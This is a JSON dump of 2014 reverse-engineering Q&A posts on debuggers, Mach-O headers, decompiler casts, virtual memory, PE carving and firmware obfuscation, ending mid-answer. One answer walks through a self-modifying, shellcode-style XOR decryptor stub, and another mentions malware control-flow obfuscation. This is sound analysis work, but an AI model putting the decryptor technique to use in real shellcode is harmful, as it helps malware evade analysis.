        "Body": "<p><a href=\"http://www.immunityinc.com/products-immdbg.shtml\" rel=\"noreferrer\">Immunity Debugger</a> offers a feature called <strong>PyPlugin</strong>. However there is not enough documentation on it. The help for immdbg says this :</p>\n\n<blockquote>\n  <p>PyPlugins are python scripts located at PyPlugins\\ directory,\n  PyPlugins are called when F4 or the PyPlugin icon located at the main\n  toolbar are pressed. Both (F4 or the PyPlugin icon) will popup a file\n  browse dialog, where the starting folder is the PyPlugin Directory.\n  When a pyplugin is executed, its main() gets called. Please note a\n  pyplugin can not receive any arguments and will not return any value\n  other than inscreen errors.</p>\n</blockquote>\n\n<p>In reality when the <kbd>F4</kbd> key is pressed, nothing special happens. <kbd>F4</kbd> is actually the shortcut to <em>Run to selection</em>. Further there is no <em>PyPlugin</em> icon located at the main toolbar. The <em>PyPlugins</em> directory under Immunity Debugger directory is also empty, so no examples to look.</p>\n\n<p>My question is what is a <em>PyPlugin</em> ? Are there any ready made <em>PyPlugins</em> to refer as an example ?</p>\n\n<p><sub><strong>Note</strong> : I am only talking about <strong>PyPlugins</strong>, not <strong>PyCommands</strong></sub></p>\n",
        "Title": "Immunity Debugger PyPlugin",
        "Tags": "|python|immunity-debugger|",
        "Answer": "<p>Going over </p>\n\n<ul>\n<li><a href=\"https://github.com/kbandla/ImmunityDebugger/blob/master/docs/dc-15-gomez.pdf\" rel=\"nofollow noreferrer\">ImmunityDbg presentation</a> - page 26, </li>\n<li><a href=\"https://github.com/kbandla/ImmunityDebugger/tree/master/1.73\" rel=\"nofollow noreferrer\">v1.73 dir</a> - dir structure</li>\n<li><a href=\"https://github.com/kbandla/ImmunityDebugger/blob/master/1.73/Documentation/IMMLIB.HLP\" rel=\"nofollow noreferrer\">ImmDbg help file</a> - \"PyHooks ... they look exactly as a python plugin, only that they are placed inside PyHooks directory.\"</li>\n</ul>\n\n<p>I'm making and educated guess that <code>PyPlugins</code> is probably a leftover from previous versions of the debugger and at some point it became known as <code>PyScripts</code>.</p>\n\n<p>So, the actual examples and guidance could be found <a href=\"https://github.com/kbandla/ImmunityDebugger/tree/master/1.73/PyScripts\" rel=\"nofollow noreferrer\">here</a> </p>\n"
    },
    {
        "Id": "5898",
        "CreationDate": "2014-07-19T21:18:41.363",
        "Body": "<p>My end goal here is to find the Mach-O header in a dylib file.</p>\n\n<p>Here's what I've come up with so far:</p>\n\n<p>All my dylib files have the following first four bytes: 0xcafebabe. Then after 4096 bytes the actual Mach-O header starts, followed by the usual commands and so on.</p>\n\n<p>But 0xcafebabe is also used to identify Java class files. So how do I distinguish between both of those based on the actual content? What are the fields after 0xcafebabe in a dylib file?</p>\n",
        "Title": "How are dylib files laid out",
        "Tags": "|disassembly|binary|",
        "Answer": "<p>Since a dylib file is just going to be a Mach-O file, you're going to need to understand the header format, which is laid out pretty well in the code itself. You can take a look at the Mach-O parsing functions on Apple's site</p>\n\n<p><a href=\"http://www.opensource.apple.com/source/xar/xar-45/xar/lib/macho.c\" rel=\"nofollow\">http://www.opensource.apple.com/source/xar/xar-45/xar/lib/macho.c</a></p>\n\n<p>What you're seeing is that FAT Header part of the Mach-O file, which is telling you where to find the rest of the of the Mach-O file. This is used to have one file, with two separate architectures inside of it. The FAT header describes where the to find the rest of the data needed by the system running it.</p>\n\n<p>While doing some reversing and forensics work, I created a 010Editor template for parsing through Mach-O files - it might be useful in conjunction with the source from Apple for understanding what is coming after the 0xCAFEBABE and loading you're actual dylib files;</p>\n\n<p><a href=\"https://github.com/strazzere/010Editor-stuff/blob/master/Templates/MachOTemplate.bt\" rel=\"nofollow\">https://github.com/strazzere/010Editor-stuff/blob/master/Templates/MachOTemplate.bt</a></p>\n"
    },
    {
        "Id": "5899",
        "CreationDate": "2014-07-19T21:23:59.383",
        "Body": "<p>I'm using <code>IDA Pro</code> with the Hexrays decompiler.</p>\n\n<p>There is a function like this:</p>\n\n<p><img src=\"https://i.stack.imgur.com/4QJT6.png\" alt=\"Function 1\"></p>\n\n<p>That function assigns the result of <code>sub_100033AE</code> to <code>dword_10005368</code>. So to know what the <code>DWORD</code> is, I checked what does that <code>sub_100033AE</code> do, but surprise...</p>\n\n<p><img src=\"https://i.stack.imgur.com/JfU1J.png\" alt=\"Function 2\"></p>\n\n<p>Its assembly is:</p>\n\n<p><img src=\"https://i.stack.imgur.com/qn1RQ.png\" alt=\"enter image description here\"></p>\n\n<p>What I am wondering is: how is it just returning a call to <code>new()</code>? What is its purpose? What does it return?</p>\n",
        "Title": "Forwarded call to \"operator new()\" in IDA Pro",
        "Tags": "|ida|",
        "Answer": "<p>Maybe the decompiler failed to recognize a register argument to <code>new()</code>. <code>new(n)</code> usually takes a <code>nr</code> of bytes, and allocates memory.</p>\n\n<p><code>sub_100033ae</code> just forwards the call to new.</p>\n"
    },
    {
        "Id": "5901",
        "CreationDate": "2014-07-20T11:55:50.833",
        "Body": "<p>Can someone recommend a handy inexpensive USB programmer for <a href=\"http://www.spansion.com/Support/Datasheets/S25FL064A_00.pdf\" rel=\"nofollow\">SPANSION S25FL064P</a> flash memory?</p>\n",
        "Title": "USB programmer for SPANSION S25FL064P flash memory",
        "Tags": "|hardware|linux|firmware|memory|",
        "Answer": "<p>You shoudl use an SPI flash parallel port programmer. It is a simple and very accurate programmer using a single 74ls244 ic. </p>\n\n<p>You can get it at: <a href=\"http://www.spiflash.org/\" rel=\"nofollow\">http://www.spiflash.org/</a></p>\n"
    },
    {
        "Id": "5904",
        "CreationDate": "2014-07-20T14:40:57.810",
        "Body": "<p>In a disassembly with a call to a <code>DirectDraw-&gt;BltFast</code> function, I encountered the following:</p>\n\n<pre><code>(*(void (__stdcall **)(LPDIRECTDRAWSURFACE7, _DWORD, _DWORD, _DWORD, _DWORD, signed int, int, int, int, int))\n((void (__stdcall **)(_DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD))v17-&gt;lpVtbl + 7))(\nv17,\n0,\n0,\n*(&amp;g_COREvidSurf + 25),\n0,\n16,\nv75,\nv77,\nv79,\nv81);\n</code></pre>\n\n<p>The cast has too many arguments. How does one edit the call's cast to fix the disassembly ?</p>\n\n<p>EDIT:\nAfter applying a struct to the code:</p>\n\n<pre><code>.text:00540825 030                 cmp     [esp+30h+arg_8], ecx\n.text:00540829 030                 mov     edx, g_COREvidSurf+64h\n.text:0054082F 030                 mov     eax, g_CoreVidsurf_6\n.text:00540834 030                 push    10h\n.text:00540836 034                 push    0\n.text:00540838 038                 push    edx\n.text:00540839 03C                 push    0\n.text:0054083B 040                 push    0\n.text:00540844 044                 mov     ecx, [eax]\n.text:00540846 044                 push    eax\n.text:00540847 048                 mov     eax,[ecx+IDirectDrawSurface7Vtbl.BltFast]\n.text:0054084A 048                 call    eax\n</code></pre>\n\n<p>and the decompilation:</p>\n\n<pre><code>v17.lpVtbl = (struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *)g_surface2;\n(*(void (__stdcall **)(struct IDirectDrawSurface7::IDirectDrawSurface7Vtbl *, _DWORD, _DWORD, _DWORD, _DWORD, signed int, int, int, int, int))(*(_DWORD *)v17.lpVtbl + offsetof(IDirectDrawSurface7Vtbl, BltFast)))(\nv17.lpVtbl,\n0,\n0,\n*(&amp;g_COREvidSurf + 25),\n0,\n16,\nv75,\nv77,\nv79,\nv81);\n</code></pre>\n\n<p>The struct used was selected from the standard struct selection in IDA, and if i press 'Y' on the declaration of BltFast in the struct declaration, the call is declared like this:</p>\n\n<pre><code>HRESULT (__stdcall *BltFast)(IDirectDrawSurface7 *This, DWORD, DWORD, LPDIRECTDRAWSURFACE7, LPRECT, DWORD)\n</code></pre>\n\n<p>which is correct, but as seen above, IDA is still showing too many args.</p>\n",
        "Title": "How to fix the type of a function pointer call in the Hex-Rays decompiler?",
        "Tags": "|ida|disassembly|",
        "Answer": "<p>I would define a vtable struct which has the correct function pointers in it. I assume this is an <code>IDirectDrawSurfaceX</code>? The variable named <code>v17-&gt;lpVtbl</code> needs to have a type of  <code>IDirectDrawSurfaceX *</code>. Create this structure of function pointers according to the interface definition on MSDN or load it from a standard structures if IDA has imported the DirectX C interface definitions. Set the type of the <code>v17-&gt;lpVtbl</code> by pressing <kbd>y</kbd> on the definition of lpVtbl in whatever structure type <code>v17</code> is. Then you may need to force the type of the function pointer call to the type of the interface member used in the vtable. You do this by right clicking the call site and choosing <code>Force call type</code>.</p>\n"
    },
    {
        "Id": "5911",
        "CreationDate": "2014-07-22T02:08:12.817",
        "Body": "<p>While running <code>notepad.exe</code> in Ollydbg, I got the following execution trace:</p>\n\n<pre><code>(CPU)\n...\n[0x00C73689] CALL notepad.0073053\n[0x00C7369E] PUSH 58\n...\n\n(Memory Map)    \nAddress    Size     Owner    Section  Contains      Type  Access   Initial  Mapped as\n...\n000FD000   00002000                                 Priv  RW       Guar     RW\n000FF000   00011000                   stack of mai  Priv  RW       Guar     RW\n...\n00A90000   00001000                                 Priv  RW                RW\n00C70000   00001000 notepad           PE header     Imag  R                 RWE\n00C71000   0000B000 notepad  .text    code,imports  Imag  R                 RWE\n...\n</code></pre>\n\n<p>Under the virtual address system of windows operation system,</p>\n\n<p>Some address is not in the physical memory or RAM,</p>\n\n<ol>\n<li><p>Who will translate <code>CALL notepad.0073053</code> to <code>CALL [Real address 0x??????]</code>?</p></li>\n<li><p>When that address is file mapped, who will read that value from the disk in assembly language ?</p></li>\n</ol>\n",
        "Title": "Virtual address translation in assembly language",
        "Tags": "|disassembly|",
        "Answer": "<p>You're talking about memory virtualization, which, unless you're developing an operating system, is nothing you have to care about, since it's transparent to user processes.</p>\n\n<p>It's true that the address your program sees, notepad.0073053, is not the same as the one that is physically on the hardware address pins on the processor. But, when the processor executes the call instruction, it doesn't translate the destination address by some magic and puts this translated addres into the program counter - the program counter will. after the call, hold 0x007353.</p>\n\n<p>The virtualization is done in the memory management unit (MMU), which you can think of as a separate piece of hardware between the actual processor and the ram. (Of course, they are on the same chip in modern processors, but there used to be separate MMUs long ago). Think of it this way:</p>\n\n<pre><code>+-----------------+           +----------------------+          +-----------------+\n| CPU             |           | MMU lookup table     |          | RAM             |\n+-----------------+           +----------------------+          +-----------------+\n| call 73053      |  73053    | virtual      | phys. | 63053    |00000            |\n| access 73053 on |----------&gt;| 10000-20000  | a0000 |---------&gt;|10000            |\n| the address bus |           | 40000-50000  | 30000 |          |20000            |\n+-----------------+           | 70000-80000  | 60000 |          |30000            |\n                              +----------------------+          |40000            |\n                                                                |50000            |\n                                                                |60000    X       |\n                                                                |70000            |\n                                                                |80000            |\n                                                                +-----------------+  \n</code></pre>\n\n<p>The MMU contains a lookup table - which virtual address range maps to which physical addres range. Whenever the processor accesses memory, it tells the mmu which virtual address to access; the MMU uses its lookup table to determine the actual physical address, and that's what it puts on the address bus. But, the processor doesn't care about this translation. What you see in Ollydbg is always the virtual address, never the physical one.</p>\n\n<p>The MMU entries are handled inside the operating system, which may rearrange them as it sees fit. For example, the OS may decide to need the RAM block at 60000 for something else, copy the block at 60000 to, for example, 20000, and update the MMU table. Your program won't notice anything of that - it still accesses the same virtual memory location, which is now at a different place in physical memory.</p>\n\n<pre><code>+-----------------+           +----------------------+          +-----------------+\n| CPU             |           | MMU lookup table     |          | RAM             |\n+-----------------+           +----------------------+          +-----------------+\n| call 73053      |  73053    | virtual      | phys. | 23053    |00000            |\n| access 73053 on |----------&gt;| 10000-20000  | a0000 |---------&gt;|10000            |\n| the address bus |           | 40000-50000  | 30000 |          |20000    X       |\n+-----------------+           | 70000-80000  | 20000 |          |30000            |\n                              +----------------------+          |40000            |\n                                                                |50000            |\n                                                                |60000            |\n                                                                |70000            |\n                                                                |80000            |\n                                                                +-----------------+  \n</code></pre>\n\n<p>If the operating system decides to page out a memory block to disk, it will clear the corresponding MMU entry. Now, when the processor tries to access that virtual memory, the MMU will generate a <code>page fault</code>, which tells the processor it can't access the memory.</p>\n\n<pre><code>+-----------------+           +----------------------+          +-----------------+\n| CPU             |           | MMU lookup table     |          | RAM             |\n+-----------------+  73053    +----------------------+          +-----------------+\n| call 73053      |----------&gt;| virtual      | phys. |          |00000            |\n| access 73053 on |           | 10000-20000  | a0000 |          |10000            |\n| the address bus | fault!    | 40000-50000  | 30000 |          |20000            |\n+-----------------+&lt;----------| 90000-a0000  | 40000 |          |30000            |\n                              +----------------------+          |40000            |\n                                                                |50000            |\n                                                                |60000            |\n                                                                |70000            |\n                                                                |80000            |\n                                                                +-----------------+\n</code></pre>\n\n<p>This page fault will make the processor call the page fault handler within the operating system. The OS keeps a list of which pages it has written to disk, finds a memory location that's currently unused, reads the required page from disk to that location, updates the MMU accordingly, then returns to the user program and re-executes the instruction that generated the page fault. The user program won't know anything about that (unless it tries hard to find out, for example by measuring the real time needed and comparing that to the expected time). In Windows, <code>perfmon</code>s <code>Ram/Page faults per second</code> counter will tell you how often that happened.</p>\n\n<p>(Actually, there are different kinds of page faults. Space in the MMU tables is quite limited, it normally doesn't map all of a user program's virtual addresses. When a page fault occurs, the OS first checks \"Is that block of memory in RAM somewhere, with only the MMU entry missing?\". If yes, the OS just generates the MMU entry and allows the program to continue. This is called a minor page fault, which is quite fast to handle; page faults that actually access the disk are called major page faults, and impact performance much more).</p>\n"
    },
    {
        "Id": "5915",
        "CreationDate": "2014-07-22T11:57:49.877",
        "Body": "<p>My exact question sounds like: \nAre there any tools for automated resources extraction such as driver or executable to the ready-to-go <code>.sys</code> or <code>.exe</code>/<code>.msi</code> ?</p>\n\n<p>I googled several ways, but they haven't solved my problem.</p>\n\n<ul>\n<li><strong><a href=\"http://hp.vector.co.jp/authors/VA003525/emysoft.htm#6\" rel=\"nofollow\">Exescope</a></strong> -- spoilt the output binary</li>\n<li><strong>7zip</strong> -- produced some rubbish(i.e. I can not figure out how to use it to achieve the goal)</li>\n<li><strong><a href=\"http://www.legroom.net/software/uniextract\" rel=\"nofollow\">Universal Extractor</a></strong> -- same as 7zip</li>\n</ul>\n\n<p>Any tips will be appreciated.</p>\n",
        "Title": "Extract driver from PE",
        "Tags": "|binary-analysis|pe|",
        "Answer": "<blockquote>\n<p>pe-carv.py is script can be used to carve out portable executable\nfiles from a data stream.</p>\n</blockquote>\n<p><a href=\"http://hooked-on-mnemonics.blogspot.com/2013/01/pe-carvpy.html\" rel=\"nofollow noreferrer\">http://hooked-on-mnemonics.blogspot.com/2013/01/pe-carvpy.html</a></p>\n<blockquote>\n<p>It relies on pefile by Ero Carrera to parse the portable executable\nfile format and calculate the file size. Since the script relies on\nthe portable executable file format, data that is appended to the end\nof the file (overlay) will not be carved out.</p>\n<p>The algorithm of the\nscript is simple. Search for the strings of the MZ header in a data\nstream, if found read from the address to the end of the file, then\npass the buffer to pefile. If no exceptions are thrown by pefile then\nwe have a valid portable executable file. If an error occurs, search\nfor the next MZ header and then start the process again.</p>\n</blockquote>\n"
    },
    {
        "Id": "5916",
        "CreationDate": "2014-07-22T13:19:08.853",
        "Body": "<p>I see a lot of in and out instruction in IDA. I know what those are supposed to do, but I do not know how to treat them and I'm making no advancements in understanding the code.</p>\n\n<p>Short example:\nFirst instructions of my current assignment are:</p>\n\n<pre><code>seg000:00000000                 mov     edx, 61666A1Fh\nseg000:00000005                 fincstp\nseg000:00000007                 fnstenv byte ptr [esp-0Ch]\nseg000:0000000B                 pop     esi             ; EIP\nseg000:0000000C                 sub     ecx, ecx\nseg000:0000000E                 mov     cl, 33h ; '3'\nseg000:00000010                 xor     [esi+12h], edx\nseg000:00000013                 add     edx, [esi+12h]  ; \nseg000:00000016                 xor     ecx, 0FFFFFF96h\nseg000:00000019                 test    [ecx+esi*8+957C08Fh], dl\nseg000:00000020                 push    eax             ; ??????\nseg000:00000021                 mov     bl, 0DEh ; '\u00a6'\nseg000:00000023                 in      al, dx\nseg000:00000024                 popa\nseg000:00000025                 loope   near ptr 0FFFFFFACh\n</code></pre>\n\n<p>I'm a bit lost at <code>05h</code>-<code>0Bh</code> as it's the first time I encounter FPU instructions, but I think that <code>ESI</code> should point to the where <code>EIP</code> is pointing to. </p>\n\n<p>My main question is regarding <code>23h</code>.</p>\n\n<pre><code>in al, dx\n</code></pre>\n\n<p>Should load a in <code>AL</code> a byte from port <code>6A1Fh</code>? Is this relevant in any way or is code like this supposed to make my work harder or hide something? Maybe it's encrypted and at some point some decrypting algorithm will kick in. Or maybe that shouldn't be viewed as code? </p>\n",
        "Title": "in / out instructions - how should I treat this?",
        "Tags": "|binary-analysis|",
        "Answer": "<p>This is self-modifying code.  The garbage instructions that you see will be altered dynamically, this way:</p>\n\n<pre><code>seg000:00000000                 mov     edx, 61666A1Fh\nseg000:00000005                 fincstp\nseg000:00000007                 fnstenv byte ptr [esp-0Ch]\nseg000:0000000B                 pop     esi             ; EIP\n</code></pre>\n\n<p>Now esi points to the location of the <code>fincstp</code> instruction (<code>00000005</code>).</p>\n\n<pre><code>seg000:0000000C                 sub     ecx, ecx\nseg000:0000000E                 mov     cl, 33h ; loop counter\nseg000:00000010                 xor     [esi+12h], edx\nseg000:00000013                 add     edx, [esi+12h]  ;sliding key\n</code></pre>\n\n<p><code>esi+12</code> (<code>00000017</code>) is being altered, turning this:</p>\n\n<pre><code>seg000:00000016                 xor     ecx, 0FFFFFF96h\nseg000:00000019                 test    [ecx+esi*8+957C08Fh], dl\n</code></pre>\n\n<p>in to this:</p>\n\n<pre><code>seg000:00000016                 sub     esi, 0FFFFFFFCh\nseg000:00000019                 loop    near ptr 00000010\n</code></pre>\n\n<p><em>i.e.</em> <code>esi = esi + 4</code>, now it's <code>00000009</code> (and, then, <code>0x0000000d</code>, <code>0x00000011</code>, ...), and the loop continues via the value in <code>ecx</code>.\nIt's a shellcode-style decryptor.  More detailed descriptions of this technique can be found <a href=\"http://pferrie.host22.com/papers/shellcode1.pptx\">here</a> and <a href=\"http://pferrie.host22.com/papers/shellcode2.pptx\">here</a>.</p>\n"
    },
    {
        "Id": "5923",
        "CreationDate": "2014-07-23T01:49:02.503",
        "Body": "<p>When I start <code>notepad.exe</code> with ollydbg in Windows XP, the initial register was <code>esp:7FFC4</code> and <code>ebp:7FFF0</code>.</p>\n\n<pre><code>stack\n\n...\n0007FFC4  7C817067  kernel32.7C817067 &lt;--- ESP\n0007FFC8  7C940208  ntdll.7C940208\n0007FFCC  FFFFFFFF\n0007FFD0  7FFDB000\n0007FFD4  80546BFD\n0007FFD8  0007FFC8\n0007FFDC  81D22DA8\n0007FFE0  FFFFFFFF                    &lt;--- EBP\n0007FFE4  7C839AC0  kernel32.7C839AC0\n0007FFE8  7C817070  kernel32.7C817070\n0007FFEC  00000000\n0007FFF0  00000000\n0007FFF4  00000000\n0007FFF8  0100739D notepad.&lt;ModuleEntryPoint&gt;\n0007FFFC  00000000\n...\n</code></pre>\n\n<p>I first guessed the initial stack was empty,\nbut by the process argument (<em>e.g.</em>, <code>argc</code>, <code>argv</code>), I thought it can have some values.</p>\n\n<ol>\n<li>what is meaning of the initial stack between <code>EBP</code> and <code>ESP</code>?</li>\n<li>the stack <code>ESP</code> can be lower than <code>7FFE0</code> (over than as value) while <code>notepad.exe</code> is running ? In other words, can esp point at <code>0007FFF8</code>?</li>\n</ol>\n",
        "Title": "Who does construct the stack on process creation in Windows?",
        "Tags": "|windows|x86|stack-variables|",
        "Answer": "<p><code>RtlCreateUserStack()</code> creates the stack on thread creation (And every process has the main thread). Or more generally: The Windows PE loader. \nWhat is the PE loader? That thing that creates a process out of an executable file on disk (or adds that executable file to a process in case of DLLs)  </p>\n\n<p>Your other question is why, by the time Olly breaks, there already are values on the stack.<br>\nThat is because your <code>main()</code> entrypoint is not the first thing that will be executed in the process. Before <code>main()</code> there is a lot of internal CRT setup, maybe even setting up global classes, ...</p>\n\n<p>But even before any code of your executable is executed the DLLs still need to do some initalization of their own.</p>\n\n<p>As you use OllyDbg, go to <kbd>Options</kbd>-><kbd>Debugging</kbd>-><kbd>Start</kbd> and play around with that to get a feeling about what needs to be done before your code runs.</p>\n"
    },
    {
        "Id": "5926",
        "CreationDate": "2014-07-23T10:24:35.413",
        "Body": "<p>I've heard of <a href=\"http://gynvael.coldwind.pl/?id=158\">tools</a> that could be used to graph entropy of a file. Is there a graphical Linux program that I could use for this job that would let me conveniently explore which blocks of a file have certain entropy patterns that could suggest compressed or encrypted data?</p>\n",
        "Title": "What Linux software can I use to explore entropy of a file?",
        "Tags": "|binary-analysis|",
        "Answer": "<p>Use <code>ent</code>: <a href=\"https://www.fourmilab.ch/random/\" rel=\"nofollow noreferrer\">https://www.fourmilab.ch/random/</a> to run statistical tests checking for randomness.</p>\n<pre><code>$ cat 1-gb-file.img | ent\nEntropy = 7.999998 bits per byte.\n\nOptimum compression would reduce the size\nof this 100000000 byte file by 0 percent.\n\nChi square distribution for 100000000 samples is 249.38, and randomly\nwould exceed this value 58.75 percent of the times.\n\nArithmetic mean value of data bytes is 127.4928 (127.5 = random).\nMonte Carlo value for Pi is 3.141514686 (error 0.00 percent).\nSerial correlation coefficient is -0.000094 (totally uncorrelated = 0.0).\n</code></pre>\n"
    },
    {
        "Id": "5930",
        "CreationDate": "2014-07-24T10:39:50.080",
        "Body": "<p>I have noticed many times whilst disassembling executables that often the compiler will produce jumps to other unconditional jumps, rather than simply jumping to the final destination. For example:</p>\n\n<p><img src=\"https://i.stack.imgur.com/rlCkX.png\" alt=\"enter image description here\"></p>\n\n<p>Notice instead of <code>jmp 0x100001634</code> it would have written <code>jmp 0x100001681</code> and skipped the two other jumps in between. Is there a particular reason for not doing so?</p>\n",
        "Title": "Why jump to unconditional jumps?",
        "Tags": "|disassembly|assembly|compilers|",
        "Answer": "<p>In addition to what others have already mentioned with respect to Compiler Optimizations, there is another possibility. At times, malwares can perform control flow obfuscations by making use of a lot of opaque predicates (in this case, unconditional jumps).</p>\n\n<p>In fact, if you perform an instruction trace using a pintool (DBI) on a malware, at times you will observe a lot of jmp instructions executed in sequence. You can observe these type of subroutines in malwares which make use of polymorphic engines. It can help deter reverse engineering as it alters the control flow while stepping through the code.</p>\n"
    },
    {
        "Id": "5931",
        "CreationDate": "2014-07-24T11:15:50.213",
        "Body": "<p>I overcame recent issues with a redefinition and finished my Plugin.</p>\n\n<p>In short this plugin uses Hex-Rays Decompiler to decompile a given file, analyzes properties of the pseudocode and then appends the results to a <code>.csv</code></p>\n\n<p>Now I tried to use this in batch mode, but was stumped as the following happened:</p>\n\n<p>Cmd input to call IDA:</p>\n\n<pre><code>idaw -A -c -Srecompile.idc input_file\n</code></pre>\n\n<p>The <code>recompile.idc</code> file:</p>\n\n<pre><code>#include &lt;idc.idc&gt;\nstatic main() {\nWait();\nMessage(\"Hello world from IDC!\\n\");\nRunPlugin(\"REcompile vs Hexrays\",0); \n//Exit(0);\n}\n</code></pre>\n\n<p>I obviously need to <code>Wait()</code> for Auto-Analysis. <code>Exit()</code> is commented since it's for use when this is all fixed.</p>\n\n<p>Now i do get the following output on execution:</p>\n\n<pre><code>The initial autoanalysis has been finished.\nHello world from IDC!\n\nLoadLibrary(C:\\Program Files (x86)\\IDA\\plugins\\REcompile vs Hexrays.plw) error: Das angegebene Modul wurde nicht gefunden.\nC:\\Program Files (x86)\\IDA\\plugins\\REcompile vs Hexrays.plw: can't load file\nHex-Rays Decompiler plugin has been loaded (v1.6.0.111005)\nHex-rays version 1.6.0.111005 has been detected, REcompile vs Hexrays ready to use\n</code></pre>\n\n<p>As you can see the script is executed before the plugins are loaded. I assume this is the reason why I get the <code>LoadLibrary</code> Error.</p>\n\n<p>If you have any other input or experience with plugin batch execution i'd be happy to hear from you.</p>\n\n<p>Greetings, \nViktor</p>\n",
        "Title": "Ida Plugin Batch analysis issue.",
        "Tags": "|ida|ida-plugin|idapro-sdk|",
        "Answer": "<p>Have you tried manually loading the Hex-Rays plugin before loading your plugin?</p>\n\n<p>For example:</p>\n\n<pre><code>#include &lt;idc.idc&gt;\nstatic main() {\n    Wait();\n    Message(\"Hello world from IDC!\\n\");\n    RunPlugin(\"hexrays\",0);\n    RunPlugin(\"REcompile vs Hexrays\",0); \n    //Exit(0);\n}\n</code></pre>\n"
    },
    {
        "Id": "5935",
        "CreationDate": "2014-07-24T21:39:22.400",
        "Body": "<p>I have an old game that I am wanting to increase the resolution on. The problem is that the game is ancient and was written using <code>DDRAW</code> and <code>GDI</code> .A few things are weird with this application, First starting from the entry point all the program does is create the process. secondly all the other code is indeed executed just I can't break over it (Making reversing a very slow process).</p>\n\n<p>Has anyone tried to reverse a <code>DDraw</code> application?</p>\n\n<p>I so far, have it to where I have expanded the resolution in such, that the application is still showing the default resolution just pushed to the left top corner and everything is still the 640x480 and is surrounded by black BUT the cool thing is I can click out of the 640x480 in the black area and click on objects and move to them. Would anyone know how to possibly resolve this?</p>\n\n<p>Another thing, it doesn't seem to matter what kind of break point I set in this(outside of EP) area of code the program never breaks there. Is there something I am missing here?</p>\n\n<p>I can try to come up with a picture as an example if that would help ; if no one understands how I am describing resolution.</p>\n\n<p>Also, I only see a call for <code>DirectDrawCreate</code>  and it looks like it would point to an object or window but I cant tell entirely cause I cant break here.</p>\n",
        "Title": "Reversing DDRAW application",
        "Tags": "|windows|ollydbg|interoperability|",
        "Answer": "<p>DDRAW is an object based interface. DirectDrawCreate creates DDRAW interface object (based on GUID provided as paramter). Regarding black area, most probably rendering part uses internally  smaller resolution. Could you share the game's name?</p>\n"
    },
    {
        "Id": "5941",
        "CreationDate": "2014-07-26T18:15:54.497",
        "Body": "<p>Okay. So I've just come up with the most amazing program for java developers and reverse-engineerers and I was wondering if something like the following program already exists:</p>\n\n<p>What I'm thinking of is like a middle-ground between something like <a href=\"http://dirty-joe.com/\">DirtyJOE</a> and a Java Decompiler.</p>\n\n<p>I already know that:</p>\n\n<ul>\n<li>It's possible to inject and manipulate code in a compiled class using <a href=\"http://asm.ow2.org\">ASM</a></li>\n<li>You can decompile an unobfuscated jar into a readable and understandable state</li>\n<li>It's practical to explore and edit a class using a GUI because DirtyJOE can do that amazingly well</li>\n</ul>\n\n<p>So is there some sort of program that can show me a decompiled class and allow me to manipulate/inject into different parts of it individually?</p>\n\n<p>For example, I would like replace one method with my own or change a field's access within a compiled class file.</p>\n\n<p>So basically I'm looking for a frontend for ASM built with an interface based on decompiled source code.</p>\n\n<p>Does this exist? If not, what's the closest thing I'm going to get to it?</p>\n",
        "Title": "GUI for transforming Java Bytecode based on decompiled source?",
        "Tags": "|disassembly|decompilation|java|byte-code|jar|",
        "Answer": "<p>You can try using javasnoop (<a href=\"https://code.google.com/p/javasnoop/\" rel=\"nofollow\">https://code.google.com/p/javasnoop/</a>) to accomplish something similar.</p>\n\n<p>Here's a tutorial for using it -</p>\n\n<p><a href=\"http://resources.infosecinstitute.com/hacking-java-applications-using-javasnoop/\" rel=\"nofollow\">http://resources.infosecinstitute.com/hacking-java-applications-using-javasnoop/</a></p>\n"
    },
    {
        "Id": "5945",
        "CreationDate": "2014-07-27T19:00:28.643",
        "Body": "<p>I'm planning to buy my first mechanical keyboard, a KBT Poker II, and apart from the physical characteristics of it, another thing that caught my attention is that it sports reflashable firmware! Reversing and hacking on the firmware would be a fun personal project. (Unfortunately, the flasher is windows-only... I'm not sure how to deal with that, but that's another question.)</p>\n\n<p>Sadly though, when I tried poking around with the firmware files I couldn't make sense of it--I tried running a few Thumb disassemblers (as well as hacking up my own to learn more about Thumb) on parts of it that would seem to contain code (upon hexdump inspection), but they all came up with garbage instruction as far as a I could tell--certainly no function prologues/epilogues, and a lot of crazy immediates all over the place as well as absurd amounts of shifts and LDMs.</p>\n\n<p>Some technical information on the hardware inside the keyboard: it's built around a <a href=\"http://www.nuvoton.com/hq/products/microcontrollers/arm-cortex-m0-mcus/nuc120-122-123-220-usb-series/nuc122sc1an/\">Nuvoton NUC122SC1AN</a>, which features a Cortex-M0 CPU.  The firmware files in question are supplied in an attachment to <a href=\"http://geekhack.org/index.php?topic=50245.0\">this forum post</a> (by the keyboard manufacturer).</p>\n\n<p>What I <em>have</em> found, however, is the interrupt table located at <code>$0000</code>--its length exactly matches that of the one documented on ARM's website, including IRQs 0..31. However, another oddity here is that they all point to interrupts in the high memory--<code>$ffff_fff00</code> and such.  This area isn't included in the memory map of the NUC122, and ARM's spec has it as \"reserved\", but I'm guessing it might be mapped to some internal memory containing the chip-flashing-receiving code and such, and that the interrupts either trampoline to user (firmware) code or the table gets overwritten with interrupt handlers supplied by the firmware. Anyway, I'd probably be able to figure that out once I have some code to look at.</p>\n\n<p>I've tried binwalking the files, and it came up empty for all of them.</p>\n\n<p>To be clear, <strong>what I'm looking for</strong> in an answer here is guidance to where I find the actual executable code in one of the firmware files above (supplied by the manufacturer itself, so there should be no legal isues here), because I'm really not getting it. I should add that I'm relatively new to the world of reversing.  Thanks!</p>\n",
        "Title": "Finding the actual Thumb code in firmware",
        "Tags": "|disassembly|binary-analysis|firmware|",
        "Answer": "<p>I downloaded the archive you referenced and the first thing I noticed was that the firmware files are very heavy in the 0x80 - 0xff range.  Inverting each byte resulted in a much nicer byte distribution and looked like it had some structure but still not quite right.  I assume that since they went as far as inverting the bytes, they might have done some bit-manipulation such as XOR.</p>\n\n<p>Since this file is a firmware update, there is usually a header or a footer.  It looks like there is a header of offsets or something, but nothing made sense.  Scrolling further through the file, around byte 35000, there appears to be a block of structured data, followed by a block of 0xff and then a 16-byte \"footer\":</p>\n\n<pre><code>003F1F0: 84 95 74 64 B4 63 13 14 00 00 00 00 3C DC C5 6C   ..td.c......&lt;...\n</code></pre>\n\n<p>The first 8 bytes look like a good place to start.  Going through a few common XOR strategies resulted in nothing.  Then I noticed that these bytes have a low nibble of 3, 4 or 5 which would place them in the printable ASCII range.  So swap the nibbles of each byte (aka rotate left 4 bits) ... :</p>\n\n<pre><code>003F1F0: 48 59 47 46 4B 36 31 41 00 